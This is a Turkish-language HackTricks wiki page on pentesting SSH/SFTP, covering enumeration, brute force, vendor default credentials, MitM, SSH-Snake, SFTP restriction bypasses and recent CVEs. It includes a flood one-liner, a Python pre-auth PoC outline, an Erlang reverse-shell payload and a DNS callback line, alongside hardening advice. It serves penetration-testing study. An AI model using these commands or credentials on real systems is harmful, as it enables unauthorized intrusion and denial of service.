22 - Pentesting SSH/SFTP
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
SSH (Secure Shell or Secure Socket Shell), güvenli olmayan bir ağ üzerinde bir bilgisayara güvenli bir bağlantı sağlayan bir ağ protokolüdür. Uzaktan sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir.
Varsayılan port: 22
22/tcp open ssh syn-ack
SSH sunucuları:
- openSSH – OpenBSD’nin SSH uygulaması; BSD ve Linux dağıtımlarında ve Windows 10’dan beri Windows’ta gelir
- Dropbear – düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması; OpenWrt’te paketlenir
- PuTTY – Windows için SSH uygulaması; istemcisi yaygın olarak kullanılır, sunucu kullanımı daha nadirdir
- CopSSH – Windows için OpenSSH uygulaması
SSH kütüphaneleri (sunucu tarafını uygulayan):
- libssh – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi; Python, Perl ve R için bağlayıcıları vardır; sftp için KDE tarafından ve git SSH altyapısı için GitHub tarafından kullanılır
- wolfSSH – ANSI C ile yazılmış SSHv2 sunucu kütüphanesi; gömülü, RTOS ve kaynak-kısıtlı ortamlara yöneliktir
- Apache MINA SSHD – Apache SSHD Java kütüphanesi Apache MINA’ya dayanmaktadır
- paramiko – Python için SSHv2 protokol kütüphanesi
Enumeration
Banner Grabbing
nc -vn <IP> 22
Otomatik ssh-audit
ssh-audit, ssh sunucu & istemci yapılandırma denetimi için bir araçtır.
https://github.com/jtesta/ssh-audit, https://github.com/arthepsy/ssh-audit/’ın güncellenmiş bir fork’udur.
Özellikler:
- SSH1 ve SSH2 protokol sunucu desteği;
- SSH istemci yapılandırmasını analiz etme;
- banner’ı yakalama, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı tespit etme;
- key-exchange, host-key, encryption ve message authentication code algoritmalarını toplama;
- algoritma bilgilerini çıktı olarak verme (available since, removed/disabled, unsafe/weak/legacy, etc);
- algoritma önerileri çıktısı (append or remove based on recognized software version);
- güvenlik bilgilerini çıktı olarak verme (related issues, assigned CVE list, etc);
- algoritma bilgisine dayanarak SSH sürüm uyumluluğunu analiz etme;
- OpenSSH, Dropbear SSH ve libssh’den tarihsel bilgiler;
- Linux ve Windows üzerinde çalışır;
- bağımlılık yok
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Sunucunun açık SSH anahtarı
ssh-keyscan -t rsa <IP> -p <PORT>
Zayıf Şifreleme Algoritmaları
Bu varsayılan olarak nmap tarafından keşfedilir. Ancak sslcan veya sslyze de kullanabilirsiniz.
Nmap scriptleri
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
Bazı OpenSSH sürümlerinde kullanıcıları enumerate etmek için bir timing attack gerçekleştirebilirsiniz. Bunu exploit etmek için bir metasploit module kullanabilirsiniz:
msf> use scanner/ssh/ssh_enumusers
Brute force
Bazı yaygın ssh credentials here ve here ve aşağıda.
Private Key Brute Force
Eğer kullanılabilecek bazı ssh private keys biliyorsanız… deneyelim. nmap script’ini kullanabilirsiniz:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ya da MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Veya ssh-keybrute.py’yi kullanın (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.
Bilinen badkeys burada bulunabilir:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Zayıf SSH anahtarları / Debian öngörülebilir PRNG
Bazı sistemlerde kriptografik materyal üretmek için kullanılan rastgele tohumda bilinen kusurlar vardır. Bu, anahtar uzayının önemli ölçüde küçülmesine ve brute-force ile kırılabilir hale gelmesine neden olabilir. Zayıf PRNG’den etkilenen Debian sistemlerinde oluşturulmuş önceden üretilmiş anahtar kümeleri şurada mevcuttur: g0tmi1k/debian-ssh.
Hedef makine için geçerli anahtarları aramak amacıyla buraya bakmalısınız.
Kerberos / GSSAPI SSO
Hedef SSH sunucusu GSSAPI’yi destekliyorsa (örneğin domain controller üzerinde Windows OpenSSH), parola yerine Kerberos TGT’nizi kullanarak kimlik doğrulaması yapabilirsiniz.
Linux saldırgan hostundan iş akışı:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Notes:
- Eğer yanlış ada bağlanırsanız (ör. kısa host, takma ad veya
/etc/hostsiçindeki yanlış sıra),Server not found in Kerberos databasehatası alabilirsiniz çünkü SPN eşleşmez. crackmapexec ssh --kerberosKerberos kimlik doğrulaması için ccache’inizi de kullanabilir.
Varsayılan Kimlik Bilgileri
| Vendor | Kullanıcı Adları | Parolalar |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Eğer yerel ağdaysanız ve kurban SSH sunucusuna username ve password ile bağlanacaksa, bu kimlik bilgilerini çalmak için bir MitM saldırısı gerçekleştirmeyi deneyebilirsiniz:
Saldırı yolu:
- Traffic Redirection: Saldırgan, kurbanın trafiğini kendi makinesine yönlendirir, böylece SSH sunucusuna yapılacak bağlantı girişimini ele geçirir.
- Interception and Logging: Saldırganın makinesi bir proxy gibi davranır ve meşru SSH sunucusuymuş gibi davranarak kullanıcının giriş bilgilerini kaydeder.
- Command Execution and Relay: Son olarak saldırganın sunucusu kullanıcı kimlik bilgilerini kaydeder, komutları gerçek SSH sunucusuna iletir, bunları çalıştırır ve sonuçları kullanıcıya geri gönderir; süreç böylece kesintisiz ve meşru görünür.
SSH MITM yukarıda tarif edileni tam olarak uygular.
Gerçek MitM’i gerçekleştirmek ve yakalamak için ARP spoofing, DNS spoofing veya Network Spoofing attacks bölümünde anlatılan diğer teknikler gibi yöntemleri kullanabilirsiniz.
SSH-Snake
Eğer sistemlerde bulunan SSH private key’leri kullanarak bir ağı geçmek, her sistemde bulunan private key ile yeni hostlara erişmek istiyorsanız, SSH-Snake ihtiyacınız olan araçtır.
SSH-Snake aşağıdaki görevleri otomatik ve özyinelemeli olarak gerçekleştirir:
- Mevcut sistemde herhangi bir SSH private key bulur,
- Mevcut sistemde private key’lerin kabul edilebileceği herhangi bir host veya hedef (user@host) bulur,
- Bulunan tüm private key’leri kullanarak tüm hedeflere SSH ile bağlanmayı dener,
- Bir hedefe başarıyla bağlanılırsa, bağlanılan sistemde adım #1 - #4’ü tekrarlar.
Tamamen kendi kendini çoğaltan ve yayılan — ve tamamen fileless.
Yapılandırma Yanlışları
Root girişi
SSH sunucularının varsayılan olarak root kullanıcısının girişine izin vermesi yaygındır ve bu önemli bir güvenlik riski oluşturur. Root login’i devre dışı bırakmak, sunucunun güvenliğinin sağlanmasında kritik bir adımdır. Yönetici ayrıcalıklarıyla yetkisiz erişim ve brute force saldırıları bu değişiklikle azaltılabilir.
OpenSSH’de Root Girişini Devre Dışı Bırakmak için:
sudoedit /etc/ssh/sshd_configile SSH yapılandırma dosyasını düzenleyin.- Ayarı
#PermitRootLogin yes’denPermitRootLogin noolarak değiştirin. - Yapılandırmayı yeniden yüklemek için:
sudo systemctl daemon-reload - Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın:
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
SFTP yapılandırmalarında yaygın bir gözden kaçırma vardır: yöneticiler kullanıcıların remote shell erişimi olmadan dosya alışverişi yapmasını isterler. Kullanıcılara non-interactive shell (ör. /usr/bin/nologin) atanıp belirli bir dizine hapsedilseler bile, bir güvenlik açıklığı kalır. Kullanıcılar, non-interactive shell devreye girmeden hemen sonra oturum açtıktan sonra bir komut (ör. /bin/bash) çalıştırılmasını talep ederek bu kısıtlamaları aşabilirler. Bu, yetkisiz komut yürütülmesine olanak vererek amaçlanan güvenlik önlemlerini geçersiz kılar.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Kullanıcı noraj için güvenli SFTP yapılandırmasının (/etc/ssh/sshd_config – openSSH) bir örneği:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Bu yapılandırma sadece SFTP’ye izin verir: shell erişimini start command zorlayarak ve TTY erişimini devre dışı bırakarak kapatır; ayrıca her türlü port forwarding veya tunneling’i de devre dışı bırakır.
SFTP Tunneling
Bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden de tunnel edebilirsiniz; örneğin yaygın port forwarding kullanarak:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
sftp’nin “symlink” adlı bir komutu vardır. Bu yüzden, eğer bir klasörde writable rights’a sahipseniz, other folders/files için symlinks oluşturabilirsiniz. Muhtemelen bir chroot içinde trapped olduğunuz için bu sizin için won’t be specially useful, ancak oluşturulan symlink’e bir no-chroot service üzerinden erişebiliyorsanız (örneğin symlink’e web üzerinden erişebiliyorsanız), open the symlinked files through the web yapabilirsiniz.
Örneğin, yeni bir dosya “froot”’tan “_/_”**’e bir symlink oluşturmak için:
sftp> symlink / froot
Eğer web üzerinden “froot” dosyasına erişebilirseniz, sistemin root (“/”) klasörünü listeleyebilirsiniz.
Kimlik doğrulama yöntemleri
Yüksek güvenlikli ortamlarda genellikle parola tabanlı tek faktörlü kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak çoğu zaman daha güçlü kimlik doğrulama yöntemleri etkinleştirilirken zayıf olanlar devre dışı bırakılmaz. Sık görülen bir durum, openSSH yapılandırmasında publickey’i etkinleştirip varsayılan yöntem olarak ayarlamak ama password’u devre dışı bırakmamaktır. Bu yüzden SSH istemcisinin verbose modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Örneğin, bir authentication failure limit ayarlanmışsa ve password method’a asla ulaşma şansı bulamıyorsanız, bu yöntemi zorlamak için PreferredAuthentications seçeneğini kullanabilirsiniz.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen yöntemlerin yetkilendirildiğini kontrol etmek için gereklidir. İstemcide verbose mode kullanmak, yapılandırmanın etkinliğini görmeye yardımcı olabilir.
Yapılandırma dosyaları
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Son Kritik Güvenlik Açıkları (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1, sshd’nin SIGALRM handler’ı içindeki async-safe logging korumasını kaldırdı; bu, CVE-2006-5051’in yeniden ortaya çıkmasına ve LoginGraceTime süresi dolar dolmaz kimlik doğrulaması olmayan saldırganların glibc heap’ini bozmasına izin veriyor. Qualys, hatayı 32-bit Linux’ta root RCE için sömürdü ve 64-bit hedeflerin yeterince çok deneme ile hala brute-force yapılabilir kaldığını belirtti; bu yüzden banner grab’ları sırasında hâlâ bu sürümleri gösteren hostlara öncelik verin.
Sömürme zamanlamaya dayanır: ayrıcalıklı monitor’un savunmasız signal yoluna tekrar tekrar girmesini sağlamak için asla kimlik doğrulamayan yarım açık oturumlarla daemona baskı uygulayın ve allocator durumunu şekillendirin.
Operatör ipuçları:
- Derlemeleri
ssh -V(remote banner) veyassh -G <target> | grep ^userauthsile fingerprint’leyin veLoginGraceTime’ın sıfır olmadığını doğrulayın. - Bir lab hedefini, herhangi bir kimlik doğrulama talep etmeyen kısa ömürlü oturumlar spam’layarak stres-test edin, örneğin:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
LoginGraceTime 0zorlayan host’lar hatalı kod yoluna asla girmez—sadeceMaxStartups’ı tüketerek DoS olasılığı beklenir.
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 ve 5.6.1, Debian/RPM paketlemesi sırasında x86-64 Linux’te build script’lerinin gizli bir obje açtığı trojanlanmış release tarball’ları ile dağıtıldı. Payload, glibc’nin IFUNC resolver’ını kullanarak RSA_public_decrypt’i sshd içinde hook’lamak için suiistimal ediyor (systemd yamaları liblzma’yı yüklemeye zorladığında) ve saldırgan tarafından imzalanmış paketleri pre-auth kod yürütme için kabul ediyor.
Kötü niyetli mantık yalnızca paketlenmiş binary’lerin içinde yaşadığından, ofansif doğrulama kurbanın gerçekte ne yüklediğini incelemelidir: xz --version, rpm -qi xz/dpkg -l xz-utils kontrol edin, /usr/lib*/liblzma.so* dosyalarının hash’lerini karşılaştırın ve sshd’nin zafiyetli bağımlılığı çekip çekmediğini görmek için ldd /usr/sbin/sshd | grep -E "systemd|lzma" komutunu inceleyin. Hook, işlem yolu /usr/sbin/sshd olmadığı sürece pasif kalır; bu yüzden backdoor’u laboratuvarda yeniden üretmek genellikle distro build ortamını yeniden oluşturmayı gerektirir.
Authentication State-Machine Bypass (Pre-Auth RCE)
Several SSH server implementations contain logic flaws in the authentication finite-state machine that allow a client to send connection-protocol messages before authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to unauthenticated code execution or session creation.
At a protocol level any SSH message with a message code ≥ 80 (0x50) belongs to the connection layer (RFC 4254) and must only be accepted after successful authentication (RFC 4252). If the server processes one of those messages while still in the SSH_AUTHENTICATION state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
Generic Exploitation Steps
- Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
- Craft a raw SSH packet:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (e.g.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload that will be understood by the chosen message type
- Send the packet(s) before completing any authentication step.
- Interact with the server APIs that are now exposed pre-auth (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Pratikte hedef implementasyona göre key-exchange’i gerçekleştirmeniz (veya atlamanız) gerekir, ancak no authentication hiçbir zaman yapılmaz.
Erlang/OTP sshd (CVE-2025-32433)
- Etkilenen sürümler: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Temel neden: Erlang native SSH daemon,
ssh_connection:handle_msg/2’yi çağırmadan önce mevcut durumu doğrulamıyor. Bu nedenle message code 80-255 olan herhangi bir paket, oturum hâlâ userauth durumundayken bağlantı işleyicisine ulaşır. - Etkisi: unauthenticated remote code execution (daemon genellikle embedded/OT cihazlarda root olarak çalışır).
Örnek payload, saldırgan-kontrollü kanala bağlı bir reverse shell başlatır:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection DNS üzerinden gerçekleştirilebilir:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Tespit ve Hafifletme:
- Inspect SSH traffic: drop any packet with message code ≥ 80 observed before authentication.
- Erlang/OTP’yi 27.3.3 / 26.2.5.11 / 25.3.2.20 veya daha yenisine yükseltin.
- Yönetim portlarının (22/2022/830/2222) erişimini kısıtlayın – özellikle OT ekipmanında.
Diğer Etkilenen Uygulamalar
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – istemci tarafından gönderilen kimlik doğrulaması yapılmamış
SSH_MSG_USERAUTH_SUCCESS’i kabul eder; fiilen ters mantık hatası.
Ortak ders, RFC ile zorunlu kılınan durum geçişlerinden herhangi bir sapmanın ölümcül olabileceğidir; SSH daemon’larını incelerken veya fuzzing yaparken özellikle state-machine enforcement’a dikkat edin.
Referanslar
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks Otomatik Komutlar
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

